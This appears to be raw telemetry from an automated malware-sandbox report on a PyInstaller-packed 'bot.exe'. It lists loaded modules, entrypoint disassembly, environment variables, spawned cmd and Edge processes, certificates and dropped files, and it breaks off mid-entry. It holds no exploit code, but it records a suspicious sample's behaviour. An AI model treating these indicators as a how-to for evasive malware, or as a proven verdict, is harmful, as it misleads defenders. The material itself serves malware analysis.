"%TEMP%\_MEI0000052C2\PYTHON3" at base 20af6840000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_CTYPES.PYD" at base 7ffec30a0000 "bot.exe" loaded module "KERNEL32" at base 7ffed9690000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_BZ2.PYD" at base 7ffec3080000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_LZMA.PYD" at base 7ffec3050000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_ZSTD.PYD" at base 7ffebbe90000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_SOCKET.PYD" at base 7ffec3030000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_QUEUE.PYD" at base 7ffec44d0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_WMI.PYD" at base 7ffec3cd0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_HASHLIB.PYD" at base 7ffec3010000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_SSL.PYD" at base 7ffec11f0000 "bot.exe" loaded module "OLE32.DLL" at base 7ffed81b0000 "bot.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffed73e0000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffec8d80000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffec8960000 "bot.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffed73e0000 "bot.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffed73e0000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffec8980000 "bot.exe" loaded module "AMSI.DLL" at base 7ffec8310000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\I9GM1Q8A.DLL" at base 7ffec1960000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_SQLITE3.PYD" at base 7ffebf290000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\SELECT.PYD" at base 7ffec3890000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffed6670000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\CHARSET_NORMALIZER\CD.CP314-WIN_AMD64.PYD" at base 7ffeaf6f0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\CHARSET_NORMALIZER\MD.CP314-WIN_AMD64.PYD" at base 7ffebbe50000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\UNICODEDATA.PYD" at base 7ffeb47b0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\NUMPY\_CORE\_MULTIARRAY_UMATH.CP314-WIN_AMD64.PYD" at base 7ffeac230000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\NUMPY\LINALG\_UMATH_LINALG.CP314-WIN_AMD64.PYD" at base 7ffec1400000 "bot.exe" loaded module "GDI32.DLL" at base 7ffed9260000 "bot.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffed73e0000 "bot.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffed73e0000 "bot.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffed73e0000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\CV2\CV2.PYD" at base 7ffe9cf70000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\CRYPTOGRAPHY\HAZMAT\BINDINGS\_RUST.PYD" at base 7ffe9c160000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\_CFFI_BACKEND.CP314-WIN_AMD64.PYD" at base 7ffeba350000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffecd880000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffece820000 "bot.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffed5f90000 "bot.exe" loaded module "KERNEL32.DLL" at base 7ffed9690000 "bot.exe" loaded module "SHELL32" at base 7ffed8980000 "bot.exe" loaded module "%TEMP%\_MEI0000052C2\PIL\_IMAGING.CP314-WIN_AMD64.PYD" at base 7ffeaef70000 "bot.exe" loaded module "USER32.DLL" at base 7ffed87c0000 "cmd.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffeb3b300004c:Tf32,"bot.exe" was detected as "Microsoft Visual C/C++" and name: "Compiler" "bot.exe" was detected as "Microsoft Linker" and name: "Linker" "libssl-3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libssl-3.dll" was detected as "Microsoft Linker" and name: "Linker" "python314.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python314.dll" was detected as "Microsoft Linker" and name: "Linker" "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudio64bit-asio.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudio64bit-asio.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudioarm64-asio.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudioarm64-asio.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudio64bit.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudio64bit.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudioarm64.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudioarm64.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudio32bit-asio.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudio32bit-asio.dll" was detected as "Microsoft Linker" and name: "Linker" "libportaudio32bit.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "libportaudio32bit.dll" was detected as "Microsoft Linker" and name: "Linker" "VCRUNTIME140.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "VCRUNTIME140.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-private-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-private-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "python3.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "python3.dll" was detected as "Microsoft Linker" and name: "Linker" "VCRUNTIME140_1.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "VCRUNTIME140_1.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-math-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-math-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-string-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-string-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-stdio-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-stdio-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-runtime-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-runtime-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-core-file-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-core-file-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-convert-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-convert-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-crt-process-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-crt-process-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker" "api-ms-win-core-processthreads-l1-1-0.dll" was detected as "Microsoft Visual C/C++" and name: "Compiler" "api-ms-win-core-processthreads-l1-1-0.dll" was detected as "Microsoft Linker" and name: "Linker"4d:T740,"bot.exe" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libssl-3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python314.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudio64bit-asio.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudioarm64-asio.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudio64bit.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudioarm64.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudio32bit-asio.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "libportaudio32bit.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "VCRUNTIME140.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-private-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "python3.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "VCRUNTIME140_1.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-math-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-string-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-stdio-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-runtime-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-core-file-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-convert-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-crt-process-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG" "api-ms-win-core-processthreads-l1-1-0.dll" has Debug data directory "IMAGE_DIRECTORY_ENTRY_DEBUG"4e:T66c,"bot.exe" has an writable section named ".data" "bot.exe" has an writable section named ".fptable" "libssl-3.dll" has an writable section named ".data" "python314.dll" has an writable section named ".data" "python314.dll" has an writable section named "PyRuntim" "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has an writable section named ".data" "libportaudio64bit-asio.dll" has an writable section named ".data" "libportaudio64bit-asio.dll" has an writable section named ".fptable" "libportaudioarm64-asio.dll" has an writable section named ".data" "libportaudioarm64-asio.dll" has an writable section named ".fptable" "libportaudio64bit.dll" has an writable section named ".data" "libportaudio64bit.dll" has an writable section named ".fptable" "libportaudioarm64.dll" has an writable section named ".data" "libportaudioarm64.dll" has an writable section named ".fptable" "libportaudio32bit-asio.dll" has an writable section named ".data" "libportaudio32bit-asio.dll" has an writable section named ".fptable" "libportaudio32bit.dll" has an writable section named ".data" "libportaudio32bit.dll" has an writable section named ".fptable" "VCRUNTIME140.dll" has an writable section named ".data" "api-ms-win-crt-private-l1-1-0.dll" has an writable section named ".data" "VCRUNTIME140_1.dll" has an writable section named ".data" "api-ms-win-crt-math-l1-1-0.dll" has an writable section named ".data" "api-ms-win-crt-string-l1-1-0.dll" has an writable section named ".data" "api-ms-win-crt-stdio-l1-1-0.dll" has an writable section named ".data" "api-ms-win-crt-runtime-l1-1-0.dll" has an writable section named ".data"4f:T206a,"bot.exe" file has an entrypoint instructions - "sub rsp, 0x28,call 0x14000ea00,add rsp, 0x28,jmp 0x14000e5f0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,sub rsp, 0x28,call 0x14000f000,test eax, eax,je 0x14000e7c9,mov rax, qword ptr gs:[0x30],mov rcx, qword ptr [rax + 8],xor eax, eax,lock cmpxchg qword ptr [rip + 0x3d60b], rcx,je 0x14000e7c9,cmp rcx, rax,je 0x14000e7d0,xor eax, eax,lock cmpxchg qword ptr [rip + 0x3d5f9], rcx,jne 0x14000e7b7,xor al, al,add rsp, 0x28,ret ,mov al, 1," "libssl-3.dll" file has an entrypoint instructions - "jmp 0x1800e6328,jmp 0x180023eb0,jmp 0x18002c3e0,jmp 0x18000e900,jmp 0x18008bb80,jmp 0x180063900,jmp 0x18009b7d0,jmp 0x1800cbc10,jmp 0x18009c640,jmp 0x18001a2b0,jmp 0x18003aa30,jmp 0x1800692f0,jmp 0x18000ecf0,jmp 0x1800e6d24,jmp 0x180094390,jmp 0x1800dbfc0,jmp 0x1800178e0,jmp 0x180088f30,jmp 0x1800af2b0,jmp 0x180067590," "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180051f51,call 0x180052530,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180051e08,int3 ,int3 ,int3 ,jmp 0x18005270c,int3 ,int3 ,int3 ,mov qword ptr [rsp + 0x10], rbx,mov qword ptr [rsp + 0x18], rsi,push rbp,push rdi,push r14,mov rbp, rsp,sub rsp, 0x10,xor eax, eax,xor ecx, ecx,cpuid ," "libportaudio64bit-asio.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x180023ba9,call 0x180023eec,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180023a60,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x196e7],mov rcx, rbx,call qword ptr [rip + 0x196d6],call qword ptr [rip + 0x19620],mov rcx, rax," "libportaudioarm64-asio.dll" file has an entrypoint instructions - "jg 0x80021b3d,add edx, ebp,push ebx,mov esi, 0xbf5a9,stc ,std ,jnp 0x80021ae6,test eax, 0x910003fd,hlt ,add eax, dword ptr [ecx],sub bl, byte ptr [edi - 0xa8efffa],add eax, dword ptr [eax],stosb byte ptr es:[edi], al,add eax, dword ptr [edx],stosb byte ptr es:[edi], al,inc ecx,add byte ptr [eax], al,push esp,mov es, word ptr [eax],add byte ptr [edx - 0x1e55ecfd], dl,add edx, dword ptr [edx + ebp],loopne 0x80021b51,adc eax, 0xffff88aa,xchg edi, eax,std ,jnp 0x80021b18,test al, 0xf5,or eax, dword ptr [eax - 7],push ebx,ret 0xffa8,and eax, dword ptr [ebx],aad 0xc0,add ebx, dword ptr [edi - 0x2a],jg 0x80021b8d,add edx, ebp,nop eax,std ,jnp 0x80021b32,test eax, 0x910003fd," "libportaudio64bit.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18001f045,call 0x18001f1e0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18001eefc,int3 ,int3 ,int3 ,push rbx,sub rsp, 0x20,mov rbx, rcx,xor ecx, ecx,call qword ptr [rip + 0x17213],mov rcx, rbx,call qword ptr [rip + 0x17202],call qword ptr [rip + 0x1717c],mov rcx, rax," "libportaudioarm64.dll" file has an entrypoint instructions - "jg 0x8001d4c5,add edx, ebp,push ebx,mov esi, 0xbf5a9,stc ,std ,jnp 0x8001d46e,test eax, 0x910003fd,hlt ,add eax, dword ptr [ecx],sub bl, byte ptr [edi - 0xa8efffa],add eax, dword ptr [eax],stosb byte ptr es:[edi], al,add eax, dword ptr [edx],stosb byte ptr es:[edi], al,inc ecx,add byte ptr [eax], al,push esp,or al, byte ptr [eax],add byte ptr [edx - 0x1e55ecfd], dl,add edx, dword ptr [edx + ebp],loopne 0x8001d4d9,adc eax, 0xffff88aa,xchg edi, eax,std ,jnp 0x8001d4a0,test al, 0xf5,or eax, dword ptr [eax - 7],push ebx,ret 0xffa8,and eax, dword ptr [ebx],aad 0xc0,add ebx, dword ptr [edi - 0x2a],jg 0x8001d515,add edx, ebp,push ebx,mov edi, 0xbd7bfda9,test eax, 0x910003fd,push ebx,add dword ptr [eax], eax," "libportaudio32bit-asio.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x100205ac,call 0x10020860,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x10020465,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x1003515c],push dword ptr [ebp + 8],call dword ptr [0x10035158],push 0xc0000409,call dword ptr [0x10035104],push eax,call dword ptr [0x10035160],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call dword ptr [0x10035154],test eax, eax,je 0x10020603,push 2,pop ecx," "libportaudio32bit.dll" file has an entrypoint instructions - "push ebp,mov ebp, esp,cmp dword ptr [ebp + 0xc], 1,jne 0x1001c003,call 0x1001c1b8,push dword ptr [ebp + 0x10],push dword ptr [ebp + 0xc],push dword ptr [ebp + 8],call 0x1001bebc,add esp, 0xc,pop ebp,ret 0xc,push ebp,mov ebp, esp,push 0,call dword ptr [0x1003113c],push dword ptr [ebp + 8],call dword ptr [0x10031138],push 0xc0000409,call dword ptr [0x100310fc],push eax,call dword ptr [0x10031140],pop ebp,ret ,push ebp,mov ebp, esp,sub esp, 0x324,push 0x17,call dword ptr [0x10031134],test eax, eax,je 0x1001c05a,push 2,pop ecx," "VCRUNTIME140.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x18001ba81,call 0x18001d5d0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x18001b9d0,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],int3 ,int3 ,int3 ,int3 ," "api-ms-win-crt-private-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "python3.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "VCRUNTIME140_1.dll" file has an entrypoint instructions - "mov qword ptr [rsp + 8], rbx,mov qword ptr [rsp + 0x10], rsi,push rdi,sub rsp, 0x20,mov rdi, r8,mov ebx, edx,mov rsi, rcx,cmp edx, 1,jne 0x1800044c1,call 0x180004be0,mov r8, rdi,mov edx, ebx,mov rcx, rsi,mov rbx, qword ptr [rsp + 0x30],mov rsi, qword ptr [rsp + 0x38],add rsp, 0x20,pop rdi,jmp 0x180004410,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,int3 ,nop word ptr [rax + rax],sub rsp, 0x28,mov qword ptr [rsp + 0x30], rcx,mov qword ptr [rsp + 0x38], rdx,mov dword ptr [rsp + 0x40], r8d," "api-ms-win-crt-math-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-crt-string-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-crt-stdio-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-crt-runtime-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-core-file-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-crt-convert-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-crt-process-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al," "api-ms-win-core-processthreads-l1-1-0.dll" file has an entrypoint instructions - "pop r10,nop ,add byte ptr [rbx], al,add byte ptr [rax], al,add byte ptr [rax + rax], al,add byte ptr [rax], al,"50:T4f7,"bot.exe" has high imagebase "0x140000000" "libssl-3.dll" has high imagebase "0x180000000" "python314.dll" has high imagebase "0x180000000" "msvcp140-a4c2229bdc2a2a630acdc095b4d86008.dll" has high imagebase "0x180000000" "libportaudio64bit-asio.dll" has high imagebase "0x180000000" "libportaudioarm64-asio.dll" has high imagebase "0x180000000" "libportaudio64bit.dll" has high imagebase "0x180000000" "libportaudioarm64.dll" has high imagebase "0x180000000" "VCRUNTIME140.dll" has high imagebase "0x180000000" "api-ms-win-crt-private-l1-1-0.dll" has high imagebase "0x180000000" "python3.dll" has high imagebase "0x180000000" "VCRUNTIME140_1.dll" has high imagebase "0x180000000" "api-ms-win-crt-math-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-crt-string-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-crt-stdio-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-crt-runtime-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-core-file-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-crt-convert-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-crt-process-l1-1-0.dll" has high imagebase "0x180000000" "api-ms-win-core-processthreads-l1-1-0.dll" has high imagebase "0x180000000"51:T7b1,Process "bot.exe" (UID: 00000000-00002724) was launched with new environment variables: "_PYI_ARCHIVE_FILE="C:\bot.exe", USERDNSDOMAIN="qRTWazZeHLIROZI", _PYI_APPLICATION_HOME_DIR="%TEMP%\_MEI0000052c2", _PYI_PARENT_PROCESS_LEVEL="0"" Process "bot.exe" (UID: 00000000-00002724) was launched with modified environment variables: "NUMBER_OF_PROCESSORS" Process "cmd.exe" (UID: 00000000-00007752) was launched with modified environment variables: "Path, _PYI_PARENT_PROCESS_LEVEL" Process "msedge.exe" (UID: 00000000-00007236) was launched with modified environment variables: "USERDNSDOMAIN, Path, NUMBER_OF_PROCESSORS" Process "msedge.exe" (UID: 00000000-00007236) was launched with missing environment variables: "_PYI_ARCHIVE_FILE, _PYI_APPLICATION_HOME_DIR, _PYI_PARENT_PROCESS_LEVEL" Process "msedge.exe" (UID: 00000000-00003176) was launched with new environment variables: "EDGE_CRASHPAD_PIPE_NAME="\\.\pipe\crashpad_7236_UBWPQMEEUJUKECMK", EDGE_USER_DATA_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_BROWSER_PID="7236"" Process "msedge.exe" (UID: 00000000-00003080) was launched with new environment variables: "EDGE_METRICS_SESSION_ID="12", COMPONENT_INSTALLER_DIR="%LOCALAPPDATA%\Microsoft\Edge\User Data", EDGE_METRICS_CLIENT_ID_HASH="8213263524593659753"" Process "msedge.exe" (UID: 00000000-00001912) was launched with missing environment variables: "USERDOMAIN_ROAMINGPROFILE, PROCESSOR_LEVEL, SSLKEYLOGFILE, USERDOMAIN, LOGONSERVER, SESSIONNAME, ALLUSERSPROFILE, PROCESSOR_ARCHITECTURE, PSModulePath, EDGE_METRICS_SESSION_ID, OneDrive, APPDATA, EDGE_USER_DATA_DIR, USERNAME, USERDNSDOMAIN, ProgramFiles(x86), NODE_PATH, CommonProgramFiles, CURL_CA_BUNDLE, PATHEXT, DriverData, OS, COMPUTERNAME, NVM_HOME, PROCESSOR_REVISION, CommonProgramW6432, ComSpec, ProgramData, ProgramW6432, HOMEPATH, HOMEDRIVE, PROCESSOR_IDENTIFIER, USERPROFILE, CommonProgramFiles(x86), ProgramFiles, PUBLIC, NUMBER_OF_PROCESSORS, windir, EDGE_METRICS_CLIENT_ID_HASH"52:T442,Spawned process "bot.exe" (UID: 00000000-00002724) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007752) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00007236) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003176), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00003080), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00007908), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00001912), Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00004516), Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00002608)53:T442,Spawned process "bot.exe" (UID: 00000000-00002724) Spawned process "cmd.exe" with commandline "/c "ver"" (UID: 00000000-00007752) Spawned process "msedge.exe" with commandline "--profile-directory=Default" (UID: 00000000-00007236) Spawned process "msedge.exe" with commandline "--type=crashpad-handler "--user-data-dir=%LOCALAPPDATA%\\Microso ..." (UID: 00000000-00003176), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=network.mojom.NetworkService - ..." (UID: 00000000-00003080), Spawned process "msedge.exe" with commandline "--type=gpu-process --gpu-preferences=SAAAAAAAAADgAAAEAAAAAAAAAAA ..." (UID: 00000000-00007908), Spawned process "msedge.exe" with commandline "--type=utility --utility-sub-type=storage.mojom.StorageService - ..." (UID: 00000000-00001912), Spawned process "msedge.exe" with commandline "--type=renderer --pdf-upsell-enabled --video-capture-use-gpu-mem ..." (UID: 00000000-00004516), Spawned process "msedge.exe" with commandline "--type=renderer --instant-process --pdf-upsell-enabled --video-c ..." (UID: 00000000-00002608)54:T515,The input sample is signed with a certificate issued by "CN=WE1, O=Google Trust Services, C=US" (SHA1: E4:C2:59:3B:E6:E4:2C:2A:84:9F:2D:6B:49:F4:31:FE:3C:AF:85:CA; see report for more information) The input sample is signed with a certificate issued by "CN=GTS Root R4, O=Google Trust Services LLC, C=US" (SHA1: 10:8F:BF:79:4E:18:EC:53:47:A4:14:E4:37:0C:C4:50:6C:29:7A:B2; see report for more information) The input sample is signed with a certificate issued by "CN=GlobalSign Root CA, OU=Root CA, O=GlobalSign nv-sa, C=BE" (SHA1: 93:2B:ED:33:9A:A6:92:12:C8:93:75:B7:93:04:B4:75:49:0B:89:A0; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon RSA 2048 M04, O=Amazon, C=US" (SHA1: E7:26:0D:F0:1C:8D:4A:F7:5D:16:41:FB:C8:4E:3A:04:86:AD:99:8A; see report for more information) The input sample is signed with a certificate issued by "CN=Amazon Root CA 1, O=Amazon, C=US" (SHA1: E7:B8:B5:A6:74:3C:E1:B2:F1:7B:04:1D:E5:95:58:A4:14:72:D7:0C; see report for more information) The input sample is signed with a certificate issued by "CN=Starfield Services Root Certificate Authority - G2, O="Starfield Technologies Inc.", L=Scottsdale, ST=Arizona, C=US" (SHA1: 06:B2:59:27:C4:2A:72:16:31:C1:EF:D9:43:1E:64:8F:A6:2E:1E:39; see report for more information)55:T6960,"libcrypto-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libcrypto-3.dll]- [targetUID: 00000000-00001324] "libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 11 sections"- Location: [%TEMP%\_MEI0000052c2\numpy.libs\libscipy_openblas64_-ed4f167a5330424524f45258e7ca2c8d.dll]- [targetUID: 00000000-00001324] "opencv_videoio_ffmpeg500_64.dll" has type "PE32+ executable for MS Windows 5.02 (DLL) x86-64 (stripped to external PDB) 13 sections"- Location: [%TEMP%\_MEI0000052c2\cv2\opencv_videoio_ffmpeg500_64.dll]- [targetUID: 00000000-00001324] "libssl-3.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 8 sections"- Location: [%TEMP%\_MEI0000052c2\libssl-3.dll]- [targetUID: 00000000-00001324] "python314.dll" has type "PE32+ executable for MS Windows 6.00 (DLL) x86-64 7 